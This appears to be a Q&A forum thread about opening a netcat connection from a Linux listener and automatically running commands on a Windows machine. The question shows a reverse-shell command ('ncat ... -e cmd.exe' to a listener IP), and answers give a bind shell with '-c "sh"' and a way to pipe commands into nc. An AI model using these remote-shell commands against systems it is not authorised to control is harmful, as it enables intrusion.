CyberGeeGee
CyberGeeGee

Reputation: 21

Ncat connect and immediately execute command on Windows

I'm trying to figure out a way to open a netcat connection from a listening Linux machine and immediately execute a command on the targeted Windows machine (ex. dir or ipconfig).

Something similar to this:

Linux machine:

nc -lvp 4444; dir

Windows machine:

ncat 192.168.1.25 4444 -e cmd.exe

I need to immediately run a command as soon as a connection is made with the Windows machine.

If this can be accomplished with a bash script, that would be great too. I tried scripting it, but it will not register any commands after dropping into the Windows command shell.

Any help or suggestions would be greatly appreciated! Thanks.

Upvotes: 1

Views: 16927

Answers (2)

lorelou
lorelou

Reputation: 21

https://jkeohan.wordpress.com/2010/04/30/using-netcat-to-spawn-a-remote-shell/

this might be of help.

It should be:

##On the server. It opens the 
##listening machine's shell.
ncat -lkv <port number> -c "sh"

##On the client. You type your commands on your terminal
##and the listening machine will be your target.
ncat -v <listening server's IP> <port number>

Upvotes: 2

tripleee
tripleee

Reputation: 189607

The command should be on nc's standard input, not a local command to run after nc finishes.

printf "dir\n" | nc -lvp 444

See also Pass commands as input to another command (su, ssh, sh, etc)

Upvotes: 1

Related Questions